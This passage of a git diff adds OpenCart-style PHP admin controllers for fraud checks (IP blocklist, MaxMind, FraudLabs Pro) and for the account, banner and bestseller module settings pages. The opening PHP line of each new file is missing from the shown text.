+ $data['flp_id'] = $fraud_info['fraudlabspro_id'];
+ $data['flp_link'] = $fraud_info['fraudlabspro_id'];
+ } else {
+ $data['flp_id'] = '';
+ $data['flp_link'] = '';
+ }
+
+ if ($fraud_info['fraudlabspro_credits']) {
+ $data['flp_credits'] = $fraud_info['fraudlabspro_credits'];
+ } else {
+ $data['flp_credits'] = '';
+ }
+
+ return $this->load->view('extension/fraud/fraudlabspro_info', $data);
+ }
+ }
+
+ private function fix_case($s) {
+ $s = ucwords(strtolower($s));
+ $s = preg_replace_callback("/( [ a-zA-Z]{1}')([a-zA-Z0-9]{1})/s", create_function('$matches', 'return $matches[1].strtoupper($matches[2]);'), $s);
+ return $s;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/fraud/ip.php b/public/admin/controller/extension/fraud/ip.php
new file mode 100644
index 0000000..11b3a34
--- /dev/null
+++ b/public/admin/controller/extension/fraud/ip.php
@@ -0,0 +1,171 @@
+load->language('extension/fraud/ip');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('fraud_ip', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=fraud', true));
+ }
+
+ $data['user_token'] = $this->session->data['user_token'];
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=fraud', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/fraud/ip', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/fraud/ip', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=fraud', true);
+
+ if (isset($this->request->post['fraud_ip_order_status_id'])) {
+ $data['fraud_ip_order_status_id'] = $this->request->post['fraud_ip_order_status_id'];
+ } else {
+ $data['fraud_ip_order_status_id'] = $this->config->get('fraud_ip_order_status_id');
+ }
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ if (isset($this->request->post['fraud_ip_status'])) {
+ $data['fraud_ip_status'] = $this->request->post['fraud_ip_status'];
+ } else {
+ $data['fraud_ip_status'] = $this->config->get('fraud_ip_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/fraud/ip', $data));
+ }
+
+ public function install() {
+ $this->load->model('extension/fraud/ip');
+
+ $this->model_extension_fraud_ip->install();
+ }
+
+ public function uninstall() {
+ $this->load->model('extension/fraud/ip');
+
+ $this->model_extension_fraud_ip->uninstall();
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/fraud/ip')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+
+ public function ip() {
+ $this->load->language('extension/fraud/ip');
+
+ $this->load->model('extension/fraud/ip');
+ $this->load->model('customer/customer');
+
+ if (isset($this->request->get['page'])) {
+ $page = (int)$this->request->get['page'];
+ } else {
+ $page = 1;
+ }
+
+ $data['ips'] = array();
+
+ $results = $this->model_extension_fraud_ip->getIps(($page - 1) * 10, 10);
+
+ foreach ($results as $result) {
+ $data['ips'][] = array(
+ 'ip' => $result['ip'],
+ 'total' => $this->model_customer_customer->getTotalCustomersByIp($result['ip']),
+ 'date_added' => date('d/m/y', strtotime($result['date_added'])),
+ 'filter_ip' => $this->url->link('customer/customer', 'user_token=' . $this->session->data['user_token'] . '&filter_ip=' . $result['ip'], true)
+ );
+ }
+
+ $ip_total = $this->model_extension_fraud_ip->getTotalIps();
+
+ $pagination = new Pagination();
+ $pagination->total = $ip_total;
+ $pagination->page = $page;
+ $pagination->limit = 10;
+ $pagination->url = $this->url->link('extension/fraud/ip/ip', 'user_token=' . $this->session->data['user_token'] . '&page={page}', true);
+
+ $data['pagination'] = $pagination->render();
+
+ $data['results'] = sprintf($this->language->get('text_pagination'), ($ip_total) ? (($page - 1) * 10) + 1 : 0, ((($page - 1) * 10) > ($ip_total - 10)) ? $ip_total : ((($page - 1) * 10) + 10), $ip_total, ceil($ip_total / 10));
+
+ $this->response->setOutput($this->load->view('extension/fraud/ip_ip', $data));
+ }
+
+ public function addIp() {
+ $this->load->language('extension/fraud/ip');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'extension/fraud/ip')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('extension/fraud/ip');
+
+ if (!$this->model_extension_fraud_ip->getTotalIpsByIp($this->request->post['ip'])) {
+ $this->model_extension_fraud_ip->addIp($this->request->post['ip']);
+ }
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+
+ public function removeIp() {
+ $this->load->language('extension/fraud/ip');
+
+ $json = array();
+
+ if (!$this->user->hasPermission('modify', 'extension/fraud/ip')) {
+ $json['error'] = $this->language->get('error_permission');
+ } else {
+ $this->load->model('extension/fraud/ip');
+
+ $this->model_extension_fraud_ip->removeIp($this->request->post['ip']);
+
+ $json['success'] = $this->language->get('text_success');
+ }
+
+ $this->response->addHeader('Content-Type: application/json');
+ $this->response->setOutput(json_encode($json));
+ }
+}
diff --git a/public/admin/controller/extension/fraud/maxmind.php b/public/admin/controller/extension/fraud/maxmind.php
new file mode 100644
index 0000000..ffa17dc
--- /dev/null
+++ b/public/admin/controller/extension/fraud/maxmind.php
@@ -0,0 +1,429 @@
+load->language('extension/fraud/maxmind');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('fraud_maxmind', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=fraud', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['key'])) {
+ $data['error_key'] = $this->error['key'];
+ } else {
+ $data['error_key'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=fraud', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/fraud/maxmind', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/fraud/maxmind', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=fraud', true);
+
+ if (isset($this->request->post['fraud_maxmind_key'])) {
+ $data['fraud_maxmind_key'] = $this->request->post['fraud_maxmind_key'];
+ } else {
+ $data['fraud_maxmind_key'] = $this->config->get('fraud_maxmind_key');
+ }
+
+ if (isset($this->request->post['fraud_maxmind_score'])) {
+ $data['fraud_maxmind_score'] = $this->request->post['fraud_maxmind_score'];
+ } else {
+ $data['fraud_maxmind_score'] = $this->config->get('fraud_maxmind_score');
+ }
+
+ if (isset($this->request->post['fraud_maxmind_order_status_id'])) {
+ $data['fraud_maxmind_order_status_id'] = $this->request->post['fraud_maxmind_order_status_id'];
+ } else {
+ $data['fraud_maxmind_order_status_id'] = $this->config->get('fraud_maxmind_order_status_id');
+ }
+
+ $this->load->model('localisation/order_status');
+
+ $data['order_statuses'] = $this->model_localisation_order_status->getOrderStatuses();
+
+ if (isset($this->request->post['fraud_maxmind_status'])) {
+ $data['fraud_maxmind_status'] = $this->request->post['fraud_maxmind_status'];
+ } else {
+ $data['fraud_maxmind_status'] = $this->config->get('fraud_maxmind_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/fraud/maxmind', $data));
+ }
+
+ public function install() {
+ $this->load->model('extension/fraud/maxmind');
+
+ $this->model_extension_fraud_maxmind->install();
+ }
+
+ public function uninstall() {
+ $this->load->model('extension/fraud/maxmind');
+
+ $this->model_extension_fraud_maxmind->uninstall();
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/fraud/maxmind')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if (!$this->request->post['fraud_maxmind_key']) {
+ $this->error['key'] = $this->language->get('error_key');
+ }
+
+ return !$this->error;
+ }
+
+ public function order() {
+ $this->load->language('extension/fraud/maxmind');
+
+ $this->load->model('extension/fraud/maxmind');
+
+ if (isset($this->request->get['order_id'])) {
+ $order_id = $this->request->get['order_id'];
+ } else {
+ $order_id = 0;
+ }
+
+ $fraud_info = $this->model_extension_fraud_maxmind->getOrder($order_id);
+
+ if ($fraud_info) {
+ $data['text_country_match'] = $this->language->get('text_country_match');
+ $data['text_country_code'] = $this->language->get('text_country_code');
+ $data['text_high_risk_country'] = $this->language->get('text_high_risk_country');
+ $data['text_distance'] = $this->language->get('text_distance');
+ $data['text_ip_region'] = $this->language->get('text_ip_region');
+ $data['text_ip_city'] = $this->language->get('text_ip_city');
+ $data['text_ip_latitude'] = $this->language->get('text_ip_latitude');
+ $data['text_ip_longitude'] = $this->language->get('text_ip_longitude');
+ $data['text_ip_isp'] = $this->language->get('text_ip_isp');
+ $data['text_ip_org'] = $this->language->get('text_ip_org');
+ $data['text_ip_asnum'] = $this->language->get('text_ip_asnum');
+ $data['text_ip_user_type'] = $this->language->get('text_ip_user_type');
+ $data['text_ip_country_confidence'] = $this->language->get('text_ip_country_confidence');
+ $data['text_ip_region_confidence'] = $this->language->get('text_ip_region_confidence');
+ $data['text_ip_city_confidence'] = $this->language->get('text_ip_city_confidence');
+ $data['text_ip_postal_confidence'] = $this->language->get('text_ip_postal_confidence');
+ $data['text_ip_postal_code'] = $this->language->get('text_ip_postal_code');
+ $data['text_ip_accuracy_radius'] = $this->language->get('text_ip_accuracy_radius');
+ $data['text_ip_net_speed_cell'] = $this->language->get('text_ip_net_speed_cell');
+ $data['text_ip_metro_code'] = $this->language->get('text_ip_metro_code');
+ $data['text_ip_area_code'] = $this->language->get('text_ip_area_code');
+ $data['text_ip_time_zone'] = $this->language->get('text_ip_time_zone');
+ $data['text_ip_region_name'] = $this->language->get('text_ip_region_name');
+ $data['text_ip_domain'] = $this->language->get('text_ip_domain');
+ $data['text_ip_country_name'] = $this->language->get('text_ip_country_name');
+ $data['text_ip_continent_code'] = $this->language->get('text_ip_continent_code');
+ $data['text_ip_corporate_proxy'] = $this->language->get('text_ip_corporate_proxy');
+ $data['text_anonymous_proxy'] = $this->language->get('text_anonymous_proxy');
+ $data['text_proxy_score'] = $this->language->get('text_proxy_score');
+ $data['text_is_trans_proxy'] = $this->language->get('text_is_trans_proxy');
+ $data['text_free_mail'] = $this->language->get('text_free_mail');
+ $data['text_carder_email'] = $this->language->get('text_carder_email');
+ $data['text_high_risk_username'] = $this->language->get('text_high_risk_username');
+ $data['text_high_risk_password'] = $this->language->get('text_high_risk_password');
+ $data['text_bin_match'] = $this->language->get('text_bin_match');
+ $data['text_bin_country'] = $this->language->get('text_bin_country');
+ $data['text_bin_name_match'] = $this->language->get('text_bin_name_match');
+ $data['text_bin_name'] = $this->language->get('text_bin_name');
+ $data['text_bin_phone_match'] = $this->language->get('text_bin_phone_match');
+ $data['text_bin_phone'] = $this->language->get('text_bin_phone');
+ $data['text_customer_phone_in_billing_location'] = $this->language->get('text_customer_phone_in_billing_location');
+ $data['text_ship_forward'] = $this->language->get('text_ship_forward');
+ $data['text_city_postal_match'] = $this->language->get('text_city_postal_match');
+ $data['text_ship_city_postal_match'] = $this->language->get('text_ship_city_postal_match');
+ $data['text_score'] = $this->language->get('text_score');
+ $data['text_explanation'] = $this->language->get('text_explanation');
+ $data['text_risk_score'] = $this->language->get('text_risk_score');
+ $data['text_queries_remaining'] = $this->language->get('text_queries_remaining');
+ $data['text_maxmind_id'] = $this->language->get('text_maxmind_id');
+ $data['text_error'] = $this->language->get('text_error');
+
+ $data['help_country_match'] = $this->language->get('help_country_match');
+ $data['help_country_code'] = $this->language->get('help_country_code');
+ $data['help_high_risk_country'] = $this->language->get('help_high_risk_country');
+ $data['help_distance'] = $this->language->get('help_distance');
+ $data['help_ip_region'] = $this->language->get('help_ip_region');
+ $data['help_ip_city'] = $this->language->get('help_ip_city');
+ $data['help_ip_latitude'] = $this->language->get('help_ip_latitude');
+ $data['help_ip_longitude'] = $this->language->get('help_ip_longitude');
+ $data['help_ip_isp'] = $this->language->get('help_ip_isp');
+ $data['help_ip_org'] = $this->language->get('help_ip_org');
+ $data['help_ip_asnum'] = $this->language->get('help_ip_asnum');
+ $data['help_ip_user_type'] = $this->language->get('help_ip_user_type');
+ $data['help_ip_country_confidence'] = $this->language->get('help_ip_country_confidence');
+ $data['help_ip_region_confidence'] = $this->language->get('help_ip_region_confidence');
+ $data['help_ip_city_confidence'] = $this->language->get('help_ip_city_confidence');
+ $data['help_ip_postal_confidence'] = $this->language->get('help_ip_postal_confidence');
+ $data['help_ip_postal_code'] = $this->language->get('help_ip_postal_code');
+ $data['help_ip_accuracy_radius'] = $this->language->get('help_ip_accuracy_radius');
+ $data['help_ip_net_speed_cell'] = $this->language->get('help_ip_net_speed_cell');
+ $data['help_ip_metro_code'] = $this->language->get('help_ip_metro_code');
+ $data['help_ip_area_code'] = $this->language->get('help_ip_area_code');
+ $data['help_ip_time_zone'] = $this->language->get('help_ip_time_zone');
+ $data['help_ip_region_name'] = $this->language->get('help_ip_region_name');
+ $data['help_ip_domain'] = $this->language->get('help_ip_domain');
+ $data['help_ip_country_name'] = $this->language->get('help_ip_country_name');
+ $data['help_ip_continent_code'] = $this->language->get('help_ip_continent_code');
+ $data['help_ip_corporate_proxy'] = $this->language->get('help_ip_corporate_proxy');
+ $data['help_anonymous_proxy'] = $this->language->get('help_anonymous_proxy');
+ $data['help_proxy_score'] = $this->language->get('help_proxy_score');
+ $data['help_is_trans_proxy'] = $this->language->get('help_is_trans_proxy');
+ $data['help_free_mail'] = $this->language->get('help_free_mail');
+ $data['help_carder_email'] = $this->language->get('help_carder_email');
+ $data['help_high_risk_username'] = $this->language->get('help_high_risk_username');
+ $data['help_high_risk_password'] = $this->language->get('help_high_risk_password');
+ $data['help_bin_match'] = $this->language->get('help_bin_match');
+ $data['help_bin_country'] = $this->language->get('help_bin_country');
+ $data['help_bin_name_match'] = $this->language->get('help_bin_name_match');
+ $data['help_bin_name'] = $this->language->get('help_bin_name');
+ $data['help_bin_phone_match'] = $this->language->get('help_bin_phone_match');
+ $data['help_bin_phone'] = $this->language->get('help_bin_phone');
+ $data['help_customer_phone_in_billing_location'] = $this->language->get('help_customer_phone_in_billing_location');
+ $data['help_ship_forward'] = $this->language->get('help_ship_forward');
+ $data['help_city_postal_match'] = $this->language->get('help_city_postal_match');
+ $data['help_ship_city_postal_match'] = $this->language->get('help_ship_city_postal_match');
+ $data['help_score'] = $this->language->get('help_score');
+ $data['help_explanation'] = $this->language->get('help_explanation');
+ $data['help_risk_score'] = $this->language->get('help_risk_score');
+ $data['help_queries_remaining'] = $this->language->get('help_queries_remaining');
+ $data['help_maxmind_id'] = $this->language->get('help_maxmind_id');
+ $data['help_error'] = $this->language->get('help_error');
+
+ $data['country_match'] = $fraud_info['country_match'];
+
+ if ($fraud_info['country_code']) {
+ $data['country_code'] = $fraud_info['country_code'];
+ } else {
+ $data['country_code'] = '';
+ }
+
+ $data['high_risk_country'] = $fraud_info['high_risk_country'];
+ $data['distance'] = $fraud_info['distance'];
+
+ if ($fraud_info['ip_region']) {
+ $data['ip_region'] = $fraud_info['ip_region'];
+ } else {
+ $data['ip_region'] = '';
+ }
+
+ if ($fraud_info['ip_city']) {
+ $data['ip_city'] = $fraud_info['ip_city'];
+ } else {
+ $data['ip_city'] = '';
+ }
+
+ $data['ip_latitude'] = $fraud_info['ip_latitude'];
+ $data['ip_longitude'] = $fraud_info['ip_longitude'];
+
+ if ($fraud_info['ip_isp']) {
+ $data['ip_isp'] = $fraud_info['ip_isp'];
+ } else {
+ $data['ip_isp'] = '';
+ }
+
+ if ($fraud_info['ip_org']) {
+ $data['ip_org'] = $fraud_info['ip_org'];
+ } else {
+ $data['ip_org'] = '';
+ }
+
+ $data['ip_asnum'] = $fraud_info['ip_asnum'];
+
+ if ($fraud_info['ip_user_type']) {
+ $data['ip_user_type'] = $fraud_info['ip_user_type'];
+ } else {
+ $data['ip_user_type'] = '';
+ }
+
+ if ($fraud_info['ip_country_confidence']) {
+ $data['ip_country_confidence'] = $fraud_info['ip_country_confidence'];
+ } else {
+ $data['ip_country_confidence'] = '';
+ }
+
+ if ($fraud_info['ip_region_confidence']) {
+ $data['ip_region_confidence'] = $fraud_info['ip_region_confidence'];
+ } else {
+ $data['ip_region_confidence'] = '';
+ }
+
+ if ($fraud_info['ip_city_confidence']) {
+ $data['ip_city_confidence'] = $fraud_info['ip_city_confidence'];
+ } else {
+ $data['ip_city_confidence'] = '';
+ }
+
+ if ($fraud_info['ip_postal_confidence']) {
+ $data['ip_postal_confidence'] = $fraud_info['ip_postal_confidence'];
+ } else {
+ $data['ip_postal_confidence'] = '';
+ }
+
+ if ($fraud_info['ip_postal_code']) {
+ $data['ip_postal_code'] = $fraud_info['ip_postal_code'];
+ } else {
+ $data['ip_postal_code'] = '';
+ }
+
+ $data['ip_accuracy_radius'] = $fraud_info['ip_accuracy_radius'];
+
+ if ($fraud_info['ip_net_speed_cell']) {
+ $data['ip_net_speed_cell'] = $fraud_info['ip_net_speed_cell'];
+ } else {
+ $data['ip_net_speed_cell'] = '';
+ }
+
+ $data['ip_metro_code'] = $fraud_info['ip_metro_code'];
+ $data['ip_area_code'] = $fraud_info['ip_area_code'];
+
+ if ($fraud_info['ip_time_zone']) {
+ $data['ip_time_zone'] = $fraud_info['ip_time_zone'];
+ } else {
+ $data['ip_time_zone'] = '';
+ }
+
+ if ($fraud_info['ip_region_name']) {
+ $data['ip_region_name'] = $fraud_info['ip_region_name'];
+ } else {
+ $data['ip_region_name'] = '';
+ }
+
+ if ($fraud_info['ip_domain']) {
+ $data['ip_domain'] = $fraud_info['ip_domain'];
+ } else {
+ $data['ip_domain'] = '';
+ }
+
+ if ($fraud_info['ip_country_name']) {
+ $data['ip_country_name'] = $fraud_info['ip_country_name'];
+ } else {
+ $data['ip_country_name'] = '';
+ }
+
+ if ($fraud_info['ip_continent_code']) {
+ $data['ip_continent_code'] = $fraud_info['ip_continent_code'];
+ } else {
+ $data['ip_continent_code'] = '';
+ }
+
+ if ($fraud_info['ip_corporate_proxy']) {
+ $data['ip_corporate_proxy'] = $fraud_info['ip_corporate_proxy'];
+ } else {
+ $data['ip_corporate_proxy'] = '';
+ }
+
+ $data['anonymous_proxy'] = $fraud_info['anonymous_proxy'];
+ $data['proxy_score'] = $fraud_info['proxy_score'];
+
+ if ($fraud_info['is_trans_proxy']) {
+ $data['is_trans_proxy'] = $fraud_info['is_trans_proxy'];
+ } else {
+ $data['is_trans_proxy'] = '';
+ }
+
+ $data['free_mail'] = $fraud_info['free_mail'];
+ $data['carder_email'] = $fraud_info['carder_email'];
+
+ if ($fraud_info['high_risk_username']) {
+ $data['high_risk_username'] = $fraud_info['high_risk_username'];
+ } else {
+ $data['high_risk_username'] = '';
+ }
+
+ if ($fraud_info['high_risk_password']) {
+ $data['high_risk_password'] = $fraud_info['high_risk_password'];
+ } else {
+ $data['high_risk_password'] = '';
+ }
+
+ $data['bin_match'] = $fraud_info['bin_match'];
+
+ if ($fraud_info['bin_country']) {
+ $data['bin_country'] = $fraud_info['bin_country'];
+ } else {
+ $data['bin_country'] = '';
+ }
+
+ $data['bin_name_match'] = $fraud_info['bin_name_match'];
+
+ if ($fraud_info['bin_name']) {
+ $data['bin_name'] = $fraud_info['bin_name'];
+ } else {
+ $data['bin_name'] = '';
+ }
+
+ $data['bin_phone_match'] = $fraud_info['bin_phone_match'];
+
+ if ($fraud_info['bin_phone']) {
+ $data['bin_phone'] = $fraud_info['bin_phone'];
+ } else {
+ $data['bin_phone'] = '';
+ }
+
+ if ($fraud_info['customer_phone_in_billing_location']) {
+ $data['customer_phone_in_billing_location'] = $fraud_info['customer_phone_in_billing_location'];
+ } else {
+ $data['customer_phone_in_billing_location'] = '';
+ }
+
+ $data['ship_forward'] = $fraud_info['ship_forward'];
+
+ if ($fraud_info['city_postal_match']) {
+ $data['city_postal_match'] = $fraud_info['city_postal_match'];
+ } else {
+ $data['city_postal_match'] = '';
+ }
+
+ if ($fraud_info['ship_city_postal_match']) {
+ $data['ship_city_postal_match'] = $fraud_info['ship_city_postal_match'];
+ } else {
+ $data['ship_city_postal_match'] = '';
+ }
+
+ $data['score'] = $fraud_info['score'];
+ $data['explanation'] = $fraud_info['explanation'];
+ $data['risk_score'] = $fraud_info['risk_score'];
+ $data['queries_remaining'] = $fraud_info['queries_remaining'];
+ $data['maxmind_id'] = $fraud_info['maxmind_id'];
+ $data['error'] = $fraud_info['error'];
+
+ return $this->load->view('extension/fraud/maxmind_info', $data);
+ }
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/account.php b/public/admin/controller/extension/module/account.php
new file mode 100644
index 0000000..c424934
--- /dev/null
+++ b/public/admin/controller/extension/module/account.php
@@ -0,0 +1,67 @@
+load->language('extension/module/account');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/setting');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ $this->model_setting_setting->editSetting('module_account', $this->request->post);
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/account', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['action'] = $this->url->link('extension/module/account', 'user_token=' . $this->session->data['user_token'], true);
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->post['module_account_status'])) {
+ $data['module_account_status'] = $this->request->post['module_account_status'];
+ } else {
+ $data['module_account_status'] = $this->config->get('module_account_status');
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/account', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/account')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/banner.php b/public/admin/controller/extension/module/banner.php
new file mode 100644
index 0000000..a2e47e9
--- /dev/null
+++ b/public/admin/controller/extension/module/banner.php
@@ -0,0 +1,154 @@
+load->language('extension/module/banner');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('banner', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
+ }
+
+ $this->session->data['success'] = $this->language->get('text_success');
+
+ $this->response->redirect($this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true));
+ }
+
+ if (isset($this->error['warning'])) {
+ $data['error_warning'] = $this->error['warning'];
+ } else {
+ $data['error_warning'] = '';
+ }
+
+ if (isset($this->error['name'])) {
+ $data['error_name'] = $this->error['name'];
+ } else {
+ $data['error_name'] = '';
+ }
+
+ if (isset($this->error['width'])) {
+ $data['error_width'] = $this->error['width'];
+ } else {
+ $data['error_width'] = '';
+ }
+
+ if (isset($this->error['height'])) {
+ $data['error_height'] = $this->error['height'];
+ } else {
+ $data['error_height'] = '';
+ }
+
+ $data['breadcrumbs'] = array();
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_home'),
+ 'href' => $this->url->link('common/dashboard', 'user_token=' . $this->session->data['user_token'], true)
+ );
+
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('text_extension'),
+ 'href' => $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true)
+ );
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/banner', 'user_token=' . $this->session->data['user_token'], true)
+ );
+ } else {
+ $data['breadcrumbs'][] = array(
+ 'text' => $this->language->get('heading_title'),
+ 'href' => $this->url->link('extension/module/banner', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true)
+ );
+ }
+
+ if (!isset($this->request->get['module_id'])) {
+ $data['action'] = $this->url->link('extension/module/banner', 'user_token=' . $this->session->data['user_token'], true);
+ } else {
+ $data['action'] = $this->url->link('extension/module/banner', 'user_token=' . $this->session->data['user_token'] . '&module_id=' . $this->request->get['module_id'], true);
+ }
+
+ $data['cancel'] = $this->url->link('marketplace/extension', 'user_token=' . $this->session->data['user_token'] . '&type=module', true);
+
+ if (isset($this->request->get['module_id']) && ($this->request->server['REQUEST_METHOD'] != 'POST')) {
+ $module_info = $this->model_setting_module->getModule($this->request->get['module_id']);
+ }
+
+ if (isset($this->request->post['name'])) {
+ $data['name'] = $this->request->post['name'];
+ } elseif (!empty($module_info)) {
+ $data['name'] = $module_info['name'];
+ } else {
+ $data['name'] = '';
+ }
+
+ if (isset($this->request->post['banner_id'])) {
+ $data['banner_id'] = $this->request->post['banner_id'];
+ } elseif (!empty($module_info)) {
+ $data['banner_id'] = $module_info['banner_id'];
+ } else {
+ $data['banner_id'] = '';
+ }
+
+ $this->load->model('design/banner');
+
+ $data['banners'] = $this->model_design_banner->getBanners();
+
+ if (isset($this->request->post['width'])) {
+ $data['width'] = $this->request->post['width'];
+ } elseif (!empty($module_info)) {
+ $data['width'] = $module_info['width'];
+ } else {
+ $data['width'] = '';
+ }
+
+ if (isset($this->request->post['height'])) {
+ $data['height'] = $this->request->post['height'];
+ } elseif (!empty($module_info)) {
+ $data['height'] = $module_info['height'];
+ } else {
+ $data['height'] = '';
+ }
+
+ if (isset($this->request->post['status'])) {
+ $data['status'] = $this->request->post['status'];
+ } elseif (!empty($module_info)) {
+ $data['status'] = $module_info['status'];
+ } else {
+ $data['status'] = '';
+ }
+
+ $data['header'] = $this->load->controller('common/header');
+ $data['column_left'] = $this->load->controller('common/column_left');
+ $data['footer'] = $this->load->controller('common/footer');
+
+ $this->response->setOutput($this->load->view('extension/module/banner', $data));
+ }
+
+ protected function validate() {
+ if (!$this->user->hasPermission('modify', 'extension/module/banner')) {
+ $this->error['warning'] = $this->language->get('error_permission');
+ }
+
+ if ((utf8_strlen($this->request->post['name']) < 3) || (utf8_strlen($this->request->post['name']) > 64)) {
+ $this->error['name'] = $this->language->get('error_name');
+ }
+
+ if (!$this->request->post['width']) {
+ $this->error['width'] = $this->language->get('error_width');
+ }
+
+ if (!$this->request->post['height']) {
+ $this->error['height'] = $this->language->get('error_height');
+ }
+
+ return !$this->error;
+ }
+}
\ No newline at end of file
diff --git a/public/admin/controller/extension/module/bestseller.php b/public/admin/controller/extension/module/bestseller.php
new file mode 100644
index 0000000..3b5db39
--- /dev/null
+++ b/public/admin/controller/extension/module/bestseller.php
@@ -0,0 +1,152 @@
+load->language('extension/module/bestseller');
+
+ $this->document->setTitle($this->language->get('heading_title'));
+
+ $this->load->model('setting/module');
+
+ if (($this->request->server['REQUEST_METHOD'] == 'POST') && $this->validate()) {
+ if (!isset($this->request->get['module_id'])) {
+ $this->model_setting_module->addModule('bestseller', $this->request->post);
+ } else {
+ $this->model_setting_module->editModule($this->request->get['module_id'], $this->request->post);
